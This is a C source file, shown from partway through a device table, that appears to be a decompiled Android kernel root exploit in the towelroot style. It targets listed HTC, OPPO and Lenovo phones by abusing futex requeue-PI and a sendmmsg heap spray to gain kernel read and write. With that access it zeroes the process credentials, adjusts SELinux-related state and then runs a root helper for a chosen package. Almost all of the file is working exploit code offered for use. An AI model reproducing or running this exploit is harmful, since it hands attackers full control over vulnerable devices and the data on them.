    {"htc","HTC 802t 16GB","3.4.10-gc6a3d56","#1 SMP PREEMPT Mon Sep 2 16:36:15 CST 2013", 0x0, 0x40,0x60, 0x3c, 0x0, 0x1, 0x5},\
    {"htc","HTC 802t 16GB","3.4.10-g50052c4","#1 SMP PREEMPT Mon Aug 25 18:03:48 CST 2014", 0x0, 0x40,0x60, 0x3c, 0x0, 0x1, 0x5},\
    {"OPPO","R8000","3.4.0","#1 SMP PREEMPT Sun Jun 22 11:25:12 CST 2014", 0x0, 0x40,0x60, 0x3c, 0x0, 0x0, 0x0},\
    {"Lenovo","Lenovo K860i","3.0.15+","#1 SMP PREEMPT Sat Apr 27 16:41:35 CST 2013", 0x80, 0xc0,0x0, 0x98, 0x0, 0x0, 0x0},\

};

int g_supported_phones_count = sizeof(g_supported_phones) / sizeof(phone_info_t);

typedef struct _generic_release_solution {
	char release[64];
	phone_info_t info;
} generic_release_solution_t;

generic_release_solution_t g_release_solutions[] = {
	{ "3.0.15",   {"", "", "", "", 0x80, 0xc0, 0x0, 0x88, 0x08, 0x0, 0x0} },
	{ "3.0.31",   {"", "", "", "", 0x80, 0xc0, 0x0, 0x88, 0x08, 0x0, 0x0} },
}; 

int g_release_solutions_count = 0; //sizeof(g_release_solutions) / sizeof(generic_release_solution_t);

///////////////////////////////////////////////////////////////

volatile unsigned short g_listen_port = 14567;

volatile phone_info_t *g_this_phone = NULL;
volatile char sock_data_buf[224];
volatile int g_listener_ready;
volatile unsigned int g_magic;
volatile struct mmsghdr g_msgvec[1024];
volatile int swag2;
volatile int swag;
volatile int do_socket_tid_read;
volatile int tid_pi_state;
volatile int sync_pi_state;
volatile int g_mm_1000000;
volatile int dword_1AF24;
volatile int goodval_low_bit;
volatile int dword_1AF2C;
volatile int dword_1AF30;
volatile int found_selinux_key;
volatile int sel_enforcing;
volatile int victim_tid;
volatile int addr_limit;
volatile int my_sgid;
volatile int my_tid;
volatile int my_euid;
volatile int my_ppid;
volatile int my_egid;
volatile int my_suid;
volatile int my_uid;
volatile int my_pid;
volatile int my_gid;

//////////////////////////////////////////////////////////////////



ssize_t read_kernel_4(const void *ptr, void *pout) {
    ssize_t v4;
    int v6[2];

    if (pipe(v6) || write(v6[1], ptr, 4u) != 4 || (v4 = read(v6[0], pout, 4u), v4 != 4)) {
        v4 = -1;
    } else {
        close(v6[0]);
        close(v6[1]);
    }
    return v4;
}

int write_kernel(void *ptr, const void *buf, size_t len) {
    int fd[2];
    int result = 0;
    void *v3;
    const void *v4;
    unsigned int v5;

    if (pipe(fd) != 0){
        result = -1;
        goto END;
    }

    v3 = ptr;
    v4 = buf;
    v5 = len;
    if (len != write(fd[1], v4, v5)) {
        result = -1;
        goto END;
    }

    v3 = ptr;
    v4 = buf;
    v5 = len;
    if (len != read(fd[0], v3, v5)) {
        result = -1;
        goto END;
    }

    close(fd[0]);
    close(fd[1]);
    result = len;

END:
    return result;
}

int write_kernel_4(void *ptr, int nVal)
{
    int v3; // [sp+4h] [bp-Ch]@1

    v3 = nVal;
    write_kernel(ptr, &v3, 4u);
    return 0;
}


int sub_99C8(unsigned int a1){
    unsigned int v1;
    int result; 
    int v3;
    unsigned int v4,v5,v6,v7,v8;
    const void* v9;
    const void* v10;
    const void* v11;
    const void* v12;
    const void* v13;
    int v14;
    int v15;
    const void *i;
    int v17; // r1@45
    int v18; // r3@45
    int v19; // r0@50
    bool v20; // cf@50
    unsigned int v21;
    int v22,v23;
    unsigned int v24;
    unsigned int v25;

    int v26; // [sp+1Ch] [bp-44h]@9
    int v27; // [sp+20h] [bp-40h]@9
    int v28; // [sp+24h] [bp-3Ch]@9
    int v29; // [sp+28h] [bp-38h]@9
    int v30; // [sp+2Ch] [bp-34h]@9
    int v31; // [sp+30h] [bp-30h]@9
    int v32; // [sp+34h] [bp-2Ch]@5

    //printf("[sub_99C8]entry\n");
    v1 = a1;
    if (a1 > 0xC0007FFF) {
        v25 = 0;
        v3 = a1 + 12;
        if (read_kernel_4((const void *)(a1 + 12), &v32) >= 0) {
            if (v32 == 0x43736564) {
                v3 = v1 + 24;
                v4 = 36;
                v5 = 32;
                v6 = 28;
                v7 = 20;
                v8 = 16;
                v21 = 4;
            } else {
                v4 = 24;
                v5 = 20;
                v6 = 16;
                v7 = 8;
                v8 = 4;
                v21 = 1;    
            }
            v9 = (const void *)(v8 + v1);
            v10 = (const void *)(v7 + v1);
            read_kernel_4(v9, &v31);
            read_kernel_4(v10, &v28);
            v11 = (const void *)(v6 + v1);
            read_kernel_4((const void *)v3, &v29);
            v12 = (const void *)(v5 + v1);
            read_kernel_4(v11, &v26);
            v13 = (const void *)(v4 + v1);
            read_kernel_4(v12, &v30);
            read_kernel_4(v13, &v27);
            if (my_uid != v31 || my_gid != v28 || my_euid != v30 \
                || my_egid != v27 || my_suid != v29 || my_sgid != v26) {
                    result = -6;
            } else if (write_kernel_4((void *)v9, 0)
                || write_kernel_4((void *)v10, 0)
                || write_kernel_4((void *)v3, 0)
                || write_kernel_4((void *)v11, 0)
                || write_kernel_4((void *)v12, 0)
                || write_kernel_4((void *)v13, 0)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 6)), 0)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 7)), 0)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 9)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 10)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 11)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 12)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 13)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 14)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 15)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 16)), -1)) {
                    result = -4;
            } else if (sel_enforcing) {
                v14 = v1 + 4 * (found_selinux_key + 17);
                read_kernel_4((const void *)(v1 + 4 * (found_selinux_key + 17)), &v25);
                v15 = g_this_phone->selinux_mark;
                if (!v15 && found_selinux_key) {
                    for (i = (const void *)(v14 + 4); ; i = (char *)i + 4 ) {
                        if (v25) {
                            if (v25 > 0xC0007FFF) {
                                read_kernel_4((const void *)v25, &v24);
                                read_kernel_4((const void *)(v25 + 4), &v23);
                                read_kernel_4((const void *)(v25 + 8), &v22);
                                if (v24 == v23 && !v22 && v24 > 0xA) {
                                    break;
                                }            
                            }
                            ++v15;
                            if (v15 == 3) {
                                goto LABEL_47;
                            }
                        }
                        read_kernel_4(i, &v25);
                    }
                    //v17 = found_selinux_key;
                    v18 = g_this_phone;
                    g_this_phone->selinux_mark = 1;
                    found_selinux_key = v15 + 4;
                    g_this_phone->selinux_extra = v15 + 4;
                }
                if (v25 > 0xC0008000) {
                    if (write_kernel_4((void *)v25, 1)) {
                        result = 0;
                    } else {
                        v19 = write_kernel_4((void *)(v25 + 4), 1);
                        if (v19 <= 1) {
                            result = 1 - v19;
                        } else {
                            result = 0;
                        }
                    }

                } else {
LABEL_47:
                    result = -5;
                }


            } else {
                result = 1;
            }
        } else {
            result = -2;
        }
    } else {
        result = -1;
    }
    //printf("[sub_99C8]exit\n");
    return result;
}

unsigned int sub_9E78(int a1, unsigned int v_addr_limit) {
    int off; // r4@1
    int i; // r6@1
    int v4; // r3@2
    unsigned int addr; // r5@5
    int v6; // r3@6
    int v8; // r4@12
    int v9; // r0@16
    int v10; // r5@26
    int v11; // r5@33
    int v12; // [sp+10h] [bp-70h]@1
    int v14; // [sp+18h] [bp-68h]@1
    int v15; // [sp+2Ch] [bp-54h]@26
    int v16; // [sp+30h] [bp-50h]@24
    int v17; // [sp+34h] [bp-4Ch]@24
    int v18; // [sp+38h] [bp-48h]@23
    int v19; // [sp+3Ch] [bp-44h]@17
    unsigned int v20; // [sp+40h] [bp-40h]@1
    int v21; // [sp+44h] [bp-3Ch]@16
    int v22; // [sp+48h] [bp-38h]@1
    unsigned int v23; // [sp+4Ch] [bp-34h]@15
    unsigned int v24; // [sp+50h] [bp-30h]@8
    unsigned int v25; // [sp+54h] [bp-2Ch]@2

    //printf("[sub_9E78]entry\n");
    off = 0;
    v20 = 0;
    read_kernel_4((const void *)((v_addr_limit & 0xFFFFE000) + 0xC), &v22);
    i = 23;
    v14 = 0;
    v12 = 0;

    while (true) {
        addr = off + v22;
        read_kernel_4((const void *)(off + v22), &v25);
        if (!v20) {
            if (my_tid == v25) {
                read_kernel_4((const void *)(addr + 4), &v18);
                if (v18 == my_pid) {
                    read_kernel_4((const void *)(addr + 12), &v20);
                    read_kernel_4((const void *)(addr + 20), &v16);
                    read_kernel_4((const void *)(addr + 24), &v17);
                    v14 = off;
                    if (v17 != v16) {
                        v12 = 4 * (i - 1);
                    } else {
                        v12 = 4 * i;
                    }
                }
            }
        }
        if (v25 == 0x5F527670) { // '_Rvp'
            read_kernel_4((const void *)(addr + 4), &v24);
            if (v24 == 0x656D6974) { // 'emit'
                break;
            }
        }
        off += 4;
        ++i;
        if (off == 4000) {
            return -1;
        }
    }
    if ((unsigned int)(i - 23) >= 1000) {
        return -1;
    }
    if (v20 <= 0xBFFFFFFF) {
        return 0xFFFFFFCE;
    }
    v8 = off - 8;
    if (a1 == 1) {
        read_kernel_4((const void *)(v8 + v20), &v23);
    } else if (a1 == 2) {
        read_kernel_4((const void *)(v8 + v22), &v23);
        sub_99C8(v23);
        read_kernel_4((const void *)(v8 + v20), &v23);
    } else if (!a1) {
        read_kernel_4((const void *)(v8 + v22), &v23);
    }
    sub_99C8(v23);
    if (v12) {
        v9 = v22;
        v21 = v22;
        while (true) {
            read_kernel_4((const void *)(v9 + v14), &v19);
            if (tid_pi_state == v19) {
                read_kernel_4((const void *)(v21 + 4), &dword_1AF24);
                break;
            } else {
                read_kernel_4((const void *)(v12 + v21), &v21);
                v9 = v21 - v12;
                v21 -= v12;
                if (v21 == v22) {
                    break;
                }
            }
        }
    }
    if ((unsigned int)dword_1AF24 <= 0xC0000000 || !goodval_low_bit) {
        return 0;
    }
    v10 = goodval_low_bit + dword_1AF24 - 12;
    v15 = 0;
    read_kernel_4((const void *)v10, &v15);
    if (v15 != 0x7E) {
        return -1;
    }
    write_kernel_4((void *)(v10 + 4), v10 + 4);
    write_kernel_4((void *)(v10 + 8), v10 + 4);
    read_kernel_4((const void *)(v10 + 16), &v15);
    write_kernel_4((void *)(v10 + 12), v15);
    v11 = v15;
    if ( (unsigned int)v15 <= 0xC0000000 )
        return -1;
    read_kernel_4((const void *)v15, &v15);
    write_kernel_4((void *)(v11 + 4), v15);
    //printf("[sub_9E78]exit\n");
    return 0;
}

unsigned int signal_proc()
{
  unsigned int result; // r0@1
  int v1; // [sp+0h] [bp-18h]@3
  int v2; // [sp+4h] [bp-14h]@3

    //printf("signal_proc entry\n");

  result = syscall(224);
  if ( !dword_1AF2C )
  {
    result = (unsigned int)addr_limit;
    if ( addr_limit )
    {
      v2 = dword_1AF2C;
      v1 = -1;
      if ( dword_1AF30 ) 
      {
        my_pid = getpid();
        my_tid = gettid();
        my_ppid = getppid();
        getresuid(&my_uid, &my_euid, &my_suid);
        getresgid(&my_gid, &my_egid, &my_sgid);
        result = sub_9E78(2, addr_limit);
        dword_1AF2C = 1;
      }
      else
      {
        write_kernel((void *)addr_limit, &v2, 4);
        result = read_kernel_4(addr_limit, &v1);
        if ( !v1 )
          dword_1AF30 = 1;
      }
    }
  }
  return result;
}

int make_action(int pipefd)
{
  int v1; // r4@1
  int tid; // [sp+14h] [bp-Ch]@1

  v1 = pipefd;
  tid = syscall(224);
  write(v1, &tid, 4u);
  if ( !setpriority(0, 0, 13)
    && bsd_signal(12, signal_proc) != -1
    && !syscall(240, &swag, FUTEX_LOCK_PI, 1, 0, 0, 0) )
  {
    while ( 1 )
    {
      sleep(0x2710u);
      sleep(0x2710u);
    }
  }
  return 0;
}

signed int create_thread_ret_pid()
{
  signed int result; // r0@2
  int pipefd[2]; // [sp+0h] [bp-18h]@1
  int tid; // [sp+8h] [bp-10h]@1
  pthread_t newthread; // [sp+Ch] [bp-Ch]@3

  tid = 0;
  if ( pipe(pipefd) )
  {
    result = -1;
  }
  else
  {
    pthread_create(&newthread, 0, (void *(*)(void *))make_action, (void *)pipefd[1]);
    read(pipefd[0], &tid, 4u);
    close(pipefd[0]);
    close(pipefd[1]);
    result = tid;
  }
  return result;
}

int pi_state_helper(int prio)
{
  int _prio; // r5@1
  int v2; // r4@1

  _prio = prio;
  v2 = syscall(224);
  if ( !setpriority(0, 0, _prio) )
  {
    sync_pi_state = 1;
    tid_pi_state = v2;
    if ( !syscall(240, &swag, FUTEX_LOCK_PI, 1, 0, 0, 0) )
    {
      while ( 1 )
      {
        sleep(10000u);
        sleep(10000u);
      }
    }
  }
  return 0;
}

unsigned int sub_A314(unsigned int result, int a2)
{
  unsigned int v2; // r4@1
  int v3; // r5@1
  signed int v4; // r3@2
  unsigned int v5; // r2@5
  unsigned int v6; // r1@7
  unsigned int v7; // r2@9

  v2 = result;
  v3 = a2;
  if ( result )
  {
    v4 = 0;
    do
    {
      if ( v4 > 17 )
      {
        usleep(100000u);
        v4 = 0;
      }
      v5 = *(unsigned int *)(v2 + 4 * v4++);
    }
    while ( v5 <= 0xC0000000 || v5 == v3 );
    v6 = goodval_low_bit;
    if ( !goodval_low_bit )
      v6 = v5 << 19;
    v7 = v5 & 0xFFFFE03F;
    if ( !goodval_low_bit )
      goodval_low_bit = v6 >> 19;
    result = v7 & 0xFFFFFFC0;
  }
  return result;
}

int search_goodnum()
{
  signed int result; // r0@2
  int sockfd; // r5@5
  int i; // r3@6
  int v3; // r5@19
  int v4; // r7@19
  int v5; // r3@20
  __pid_t tid; // r7@21
  unsigned int v7; // r0@22
  unsigned int v8; // r10@22
  int v9; // r5@24
  const void *v10; // r10@24
  int v11; // r8@24
  int v12; // r2@25
  __pid_t v13; // r8@26
  pthread_t newthread; // [sp+10h] [bp-40h]@15
  struct sockaddr_in addr; // [sp+14h] [bp-3Ch]@7
  int v16; // [sp+24h] [bp-2Ch]@1

  // search_goodnum 0.1

    //printf("search_goodnum 0.1\n");
  syscall(__NR_gettid);
  if ( syscall(__NR_futex, &swag, FUTEX_LOCK_PI, 1, 0, 0, 0) )
    goto return_0;

  // accept_socket..
    
    //printf("search_goodnum: accept\n");
  sockfd = socket(2, 1, 0);
  if ( sockfd < 0 )
    goto return_0;
  for ( i = (unsigned short)g_listen_port; ; i = ((unsigned short)g_listen_port++ + 1) & 0xFFFF )
  {
    addr.sin_port = ((unsigned int)i >> 8) | (i << 8);
    addr.sin_family = 2;
    addr.sin_addr.s_addr = 0;
    if ( !bind(sockfd, (const struct sockaddr *)&addr, 0x10u) )
      break;
  }
  if ( listen(sockfd, 3) )
  {
return_0:
    result = 0;
    goto ret;
  }
  g_listener_ready = 1;
  while ( accept(sockfd, 0, 0) < 0 )
    ;

    //printf("search_goodnum 0.2\n");
  // search_goodnum 0.2..

  while ( syscall(__NR_futex, &swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag, 0) != 1 )
    usleep(100000u);

  // wake_actionthread(6)..

  pthread_create(&newthread, 0, (void *(*)(void *))pi_state_helper, (void *)6);
  while ( !sync_pi_state )
    usleep(100000u);
  swag = 0;

    //printf("search_goodnum 0.4\n");
  // search_goodnum 0.4..

    syscall(__NR_futex, &swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag, 0);

  // search_goodnum 0.5..
  //printf("search_goodnum 0.5\n");

  while ( !do_socket_tid_read )
    usleep(50000u);
    
  //printf("search_goodnum 0.6\n");
  v3 = g_magic;
  v4 = g_magic - 4;
  if ( g_magic != 4 )
  {
    memset((void *)(g_magic - 4), 0, 0x400u);
    v5 = v3 + 28;
    *(unsigned int *)(v4 + 16) = 0;
    *(unsigned int *)(v5 + 16) = v3 + 8;
    *(unsigned int *)(v3 - 4) = 0x85;
    *(unsigned int *)(v4 + 4) = v3 + 0x20;
    *(unsigned int *)(v4 + 12) = v3 + 0x28;
    *(unsigned int *)(v4 + 8) = 0;
    *(unsigned int *)(v3 + 28) = 0x8B;
    *(unsigned int *)(v5 + 12) = 0;
    *(unsigned int *)(v5 + 4) = 0;
    *(unsigned int *)(v5 + 8) = v3;
  }
  result = create_thread_ret_pid();
  tid = result;
  if ( result != -1 )
  {
    v7 = sub_A314(g_magic - 4, 0);
    swag = 0;
    v8 = v7;
    kill(tid, 12);
    while ( !swag )
      usleep(0x186A0u);
    sleep(1u);
    v9 = g_magic;
    v10 = (const void *)(v8 + 8);
    v11 = g_magic - 4;
    swag = victim_tid | 0x80000000;
    addr_limit = v10;
    if ( g_magic != 4 )
    {
      memset((void *)v11, 0, 0x400u);
      v12 = v9 + 28;
      *(unsigned int *)(v11 + 12) = v9 + 40;
      *(unsigned int *)(v11 + 4) = v9 + 32;
      *(unsigned int *)(v11 + 16) = 0;
      *(unsigned int *)(v9 + 28) = 139;
      *(unsigned int *)(v12 + 16) = v10;
      *(unsigned int *)(v9 - 4) = 133;
      *(unsigned int *)(v12 + 12) = 0;
      *(unsigned int *)(v11 + 8) = 0;
      *(unsigned int *)(v12 + 4) = 0;
    }
    result = create_thread_ret_pid();
    v13 = result;
    if ( result != -1 )
    {
      addr_limit = (const void *)(sub_A314(g_magic - 4, (int)addr_limit) + 8);
      kill(tid, 12);
      while ( !dword_1AF30 )
        usleep(0x186A0u);
      kill(v13, 12);
      while ( !dword_1AF2C )
        usleep(0x186A0u);
      swag = 0;
      kill(v13, 12);
      while ( !swag )
        usleep(0x186A0u);
      sleep(1u);
      swag = victim_tid | 0x80000000;
      goto return_0;
    }
  }
ret:
  return result;
}


void* send_magicmsg(void *arg)
{
    struct sockaddr_in *addr; // r6@1
    char *v1; // r8@1
    struct iovec *v2; // r7@1
    unsigned int v3; // r11@1
    int socket_fd; // r4@3
    unsigned int port; // r3@4
    int v6; // r1@5
    int *v7; // r3@5
    struct mmsghdr *msgvec; // r3@7
    int *p_end, i;

    //printf("send_magicmsg entry\n");
    addr = (struct sockaddr_in *)&sock_data_buf[g_this_phone->a];
    v1 = &sock_data_buf[g_this_phone->f];
    v2 = (struct iovec *)&sock_data_buf[g_this_phone->e];
    v3 = g_this_phone->b;
    victim_tid = syscall(__NR_gettid);
    while ( !g_listener_ready )
        sleep(1u);
    socket_fd = socket(AF_INET, SOCK_STREAM, 0);
    if ( socket_fd >= 0 )
    {
        while ( 1 )
        {
            port = (unsigned short)g_listen_port;
            addr->sin_family = AF_INET;
            addr->sin_port = ((port >> 8) | (port << 8));
            inet_aton("127.0.0.1", &addr->sin_addr);
            if ( connect(socket_fd, (const struct sockaddr *)addr, 0x10u) >= 0 )
                break;
            sleep(1u);
        }
        v6 = g_magic;
        v7 = (int *)sock_data_buf;
        p_end = sock_data_buf + 224;

        do
        {
            *v7 = v6;
            ++v7;
        }
        //while ( v7 != &g_listener_ready );
        while ( v7 != p_end );
        msgvec = g_msgvec;
        *(unsigned long *)&sock_data_buf[v3] = 1;


        //do
        for(i=0; i<1024; i++)
        {
            msgvec->msg_hdr.msg_name = addr;
            msgvec->msg_hdr.msg_namelen = 128;
            msgvec->msg_hdr.msg_iov = v2;
            msgvec->msg_hdr.msg_iovlen = 8;
            msgvec->msg_hdr.msg_control = v1;
            msgvec->msg_hdr.msg_controllen = 32;
            msgvec->msg_hdr.msg_flags = 0;
            msgvec->msg_len = 1024;
            ++msgvec;
        }
        //while ( (int *)msgvec != &swag2 );
        if ( !setpriority(0, 0u, 12) )
        {
            syscall(__NR_futex, &swag2, FUTEX_WAIT_REQUEUE_PI, 0, 0, &swag, 0);
            do_socket_tid_read = 1;
            while ( 1 )
                syscall(__NR_sendmmsg, socket_fd, g_msgvec, 1024, 0);
        }
    }
    return 0;
}

void *map_magic()
{
  void *addr;
  addr = mmap((void *)0x1000000, 0x100000u, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
  if ( addr != (void *)-1 ) {
      g_mm_1000000 = addr;
      addr += 0x800;
      g_magic = addr;
  }
  return addr;
}

//int main(int argc, char **argv)
int towelroot_main() 
{
    struct utsname sysinfo;
    char tmp[32];
    int i, fd, n;
    int len_model, len_release, len_version;
    pthread_t tid;

    prctl(PR_SET_NAME, "pvR_timewQ", 0, 0, 0);
/*
    if (argc != 2) {
        return 1;
    }
    strncpy((char *)argv[0], argv[1], strlen(argv[0]));
*/
    if(uname(&sysinfo)) {
        return 1;
    }

    // search for the matching phone
    __system_property_get("ro.product.model", tmp);
    len_model = strlen(tmp);
    len_release = strlen(sysinfo.release);
    len_version = strlen(sysinfo.version);
    g_this_phone = NULL;
    for(i = 0; i<g_supported_phones_count; i++) {
        phone_info_t *curr_phone = &g_supported_phones[i];
        if(0 == strncmp(tmp, curr_phone->model, len_model)
        && 0 == strncmp(sysinfo.release, curr_phone->release, len_release)
        && 0 == strncmp(sysinfo.version, curr_phone->version, len_version)) {
            g_this_phone = curr_phone;
            break;
        } else {
            //printf("[+] skip device: %s [%s]\n", curr_phone->band, curr_phone->model);
        }
    }
    if(NULL == g_this_phone) {
    	for(i = 0; i < g_release_solutions_count; i++) {
    		if(strncmp(sysinfo.release, g_release_solutions[i].release, strlen(g_release_solutions[i].release)) == 0) {
    			g_this_phone = &g_release_solutions[i].info;
    			break;
    		}
    	}
    	if(NULL == g_this_phone) {
    		//g_this_phone = &g_release_solutions[0].info;
    		return 1;
    	}
	
    }

    sel_enforcing = g_this_phone->selinux_mark;
    found_selinux_key = g_this_phone->selinux_extra;
    if(!sel_enforcing) {
        int enforce = 0;
        struct stat s_stat;
        fd = open("/sys/fs/selinux/enforce", O_RDONLY);
        if(fd < 0) {
            if(!stat("/sys/fs/selinux", &s_stat) && (s_stat.st_mode & 0xf000) == 0x4000) {
                enforce = 1;
            }
        } else {
            memset(tmp, 0, 20);
            n = read(fd, tmp, 4);
            close(fd);
            if(n >= 0 && sscanf(tmp, "%d", &enforce) != 1) {
                enforce = 0;
            }
        }
        sel_enforcing = enforce;
        if(enforce) {
            found_selinux_key = stat("/proc/key-users", &s_stat)? 0 : 4;
        }
    }

    if(map_magic() == (void *)-1) {
        return 1;
    }
    pthread_create(&tid, 0, send_magicmsg, 0);
    search_goodnum();

    return 0;
}

///////////////////////////////////////////////////////////////////////////////


extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

void do_root(int argc, const char **argv)
{
	printff("runrt(%d, '%s', '%s')\n", atoi(argv[1]), argv[2], argv[3]);
	runrt( atoi(argv[1]), argv[2], argv[3] );
}

int main(int argc, const char **argv)
{
	int uid = 0, ret = 0, wait_time = 60, pid = 0;
	
	check_parent_pid();
	if(argc < 4) return 1;
	
	pid = fork();
	if(pid == 0) {
		towelroot_main();
		ret = !!getuid();
		printff("subproc ret: %d\n", ret);
		exit(ret);
	}
	
	while ( wait_time > 0 ){
		int status = 0;
		if ( pid == waitpid(pid, &status, WNOHANG) ){
			if (WIFEXITED(status)) {
				ret = WEXITSTATUS(status);
				break;
			}
		}

		sleep(1);
		wait_time -= 1;
	}
	ret = (getuid() == 0);
	if(ret) {
		do_root(argc, argv);
	}
	return ret? 0:1;
}
